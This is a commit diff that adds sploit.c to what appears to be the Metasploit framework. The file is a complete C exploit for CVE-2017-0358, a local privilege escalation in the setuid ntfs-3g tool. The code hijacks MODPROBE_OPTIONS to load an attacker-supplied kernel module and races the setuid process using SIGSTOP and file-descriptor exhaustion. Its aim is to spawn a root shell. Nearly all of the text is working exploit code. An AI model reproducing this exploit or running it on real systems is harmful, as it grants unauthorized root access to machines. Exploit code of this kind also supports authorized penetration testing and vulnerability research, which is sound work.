Land rapid7#8020, ntfs-3g local privilege escalation

Author: bwatters-r7

data/exploits/CVE-2017-0358/sploit.c

@@ -0,0 +1,196 @@
+#define _GNU_SOURCE
+#include <stdbool.h>
+#include <errno.h>
+#include <sys/inotify.h>
+#include <unistd.h>
+#include <err.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <sys/eventfd.h>
+#include <signal.h>
+#include <poll.h>
+#include <stdio.h>
+#include <sys/prctl.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <sys/utsname.h>
+
+int main(void) {
+  /* prevent shell from backgrounding ntfs-3g when stopped */
+  pid_t initial_fork_child = fork();
+  if (initial_fork_child == -1)
+    err(1, "initial fork");
+  if (initial_fork_child != 0) {
+    int status;
+    if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
+      err(1, "waitpid");
+    execl("rootshell", "rootshell", NULL);
+    exit(0);
+  }
+
+  char buf[1000] = {0};
+  // Set up workspace with volume, mountpoint, modprobe config and module directory.
+  char template[] = "/tmp/ntfs_sploit.XXXXXX";
+  if (mkdtemp(template) == NULL)
+    err(1, "mkdtemp");
+  char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
+  sprintf(volume, "%s/volume", template);
+  sprintf(mountpoint, "%s/mountpoint", template);
+  sprintf(modprobe_confdir, "%s/modprobe.d", template);
+  sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
+  if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
+    err(1, "mkdir");
+  int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
+  if (conffd == -1)
+    err(1, "open modprobe config");
+  int suidfile_fd = open("rootshell", O_RDONLY);
+  if (suidfile_fd == -1)
+    err(1, "unable to open ./rootshell");
+  char modprobe_config[200];
+  sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
+  if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
+    errx(1, "modprobe config write failed");
+  close(conffd);
+  // module directory setup
+  char system_cmd[1000];
+  sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
+    template, template);
+  if (system(system_cmd))
+    errx(1, "shell command failed");
+
+  // Set up inotify watch for /proc/mounts.
+  // Note: /proc/mounts is a symlink to /proc/self/mounts, so
+  // the watch will only see accesses by this process.
+  int inotify_fd = inotify_init1(IN_CLOEXEC);
+  if (inotify_fd == -1)
+    err(1, "unable to create inotify fd?");
+  if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
+    err(1, "unable to watch /proc/mounts");
+
+  // Set up inotify watch for /proc/filesystems.
+  // This can be used to detect whether we lost the race.
+  int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
+  if (fs_inotify_fd == -1)
+    err(1, "unable to create inotify fd?");
+  if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
+    err(1, "unable to watch /proc/filesystems");
+
+  // Set up inotify watch for /sbin/modprobe.
+  // This can be used to detect when we can release all our open files.
+  int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
+  if (modprobe_inotify_fd == -1)
+    err(1, "unable to create inotify fd?");
+  if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
+    err(1, "unable to watch /sbin/modprobe");
+
+  int do_exec_pipe[2];
+  if (pipe2(do_exec_pipe, O_CLOEXEC))
+    err(1, "pipe");
+  pid_t child = fork();
+  if (child == -1)
+    err(1, "fork");
+  if (child != 0) {
+    if (read(do_exec_pipe[0], buf, 1) != 1)
+      errx(1, "pipe read failed");
+    char modprobe_opts[300];
+    sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
+    setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
+    execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
+  }
+  child = getpid();
+
+  // Now launch ntfs-3g and wait until it opens /proc/mounts
+  if (write(do_exec_pipe[1], buf, 1) != 1)
+    errx(1, "pipe write failed");
+
+  if (read(inotify_fd, buf, sizeof(buf)) <= 0)
+    errx(1, "inotify read failed");
+  if (kill(getppid(), SIGSTOP))
+    err(1, "can't stop setuid parent");
+
+  // Check whether we won the main race.
+  struct pollfd poll_fds[1] = {{
+    .fd = fs_inotify_fd,
+    .events = POLLIN
+  }};
+  int poll_res = poll(poll_fds, 1, 100);
+  if (poll_res == -1)
+    err(1, "poll");
+  if (poll_res == 1) {
+    puts("looks like we lost the race");
+    if (kill(getppid(), SIGKILL))
+      perror("SIGKILL after lost race");
+    char rm_cmd[100];
+    sprintf(rm_cmd, "rm -rf %s", template);
+    system(rm_cmd);
+    exit(1);
+  }
+  puts("looks like we won the race");
+
+  // Open as many files as possible. Whenever we have
+  // a bunch of open files, move them into a new process.
+  int total_open_files = 0;
+  while (1) {
+    #define LIMIT 500
+    int open_files[LIMIT];
+    bool reached_limit = false;
+    int n_open_files;
+    for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
+      open_files[n_open_files] = eventfd(0, 0);
+      if (open_files[n_open_files] == -1) {
+        if (errno != ENFILE)
+          err(1, "eventfd() failed");
+        printf("got ENFILE at %d total\n", total_open_files);
+        reached_limit = true;
+        break;
+      }
+      total_open_files++;
+    }
+    pid_t fd_stasher_child = fork();
+    if (fd_stasher_child == -1)
+      err(1, "fork (for eventfd holder)");
+    if (fd_stasher_child == 0) {
+      prctl(PR_SET_PDEATHSIG, SIGKILL);
+      // close PR_SET_PDEATHSIG race window
+      if (getppid() != child) raise(SIGKILL);
+      while (1) pause();
+    }
+    for (int i = 0; i < n_open_files; i++)
+      close(open_files[i]);
+    if (reached_limit)
+      break;
+  }
+
+  // Wake up ntfs-3g and keep allocating files, then free up
+  // the files as soon as we're reasonably certain that either
+  // modprobe was spawned or the attack failed.
+  if (kill(getppid(), SIGCONT))
+    err(1, "SIGCONT");
+
+  time_t start_time = time(NULL);
+  while (1) {
+    for (int i=0; i<1000; i++) {
+      int efd = eventfd(0, 0);
+      if (efd == -1 && errno != ENFILE)
+        err(1, "gapfiller eventfd() failed unexpectedly");
+    }
+    struct pollfd modprobe_poll_fds[1] = {{
+      .fd = modprobe_inotify_fd,
+      .events = POLLIN
+    }};
+    int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
+    if (modprobe_poll_res == -1)
+      err(1, "poll");
+    if (modprobe_poll_res == 1) {
+      puts("yay, modprobe ran!");
+      exit(0);
+    }
+    if (time(NULL) > start_time + 3) {
+      puts("modprobe didn't run?");
+      exit(1);
+    }
+  }
+}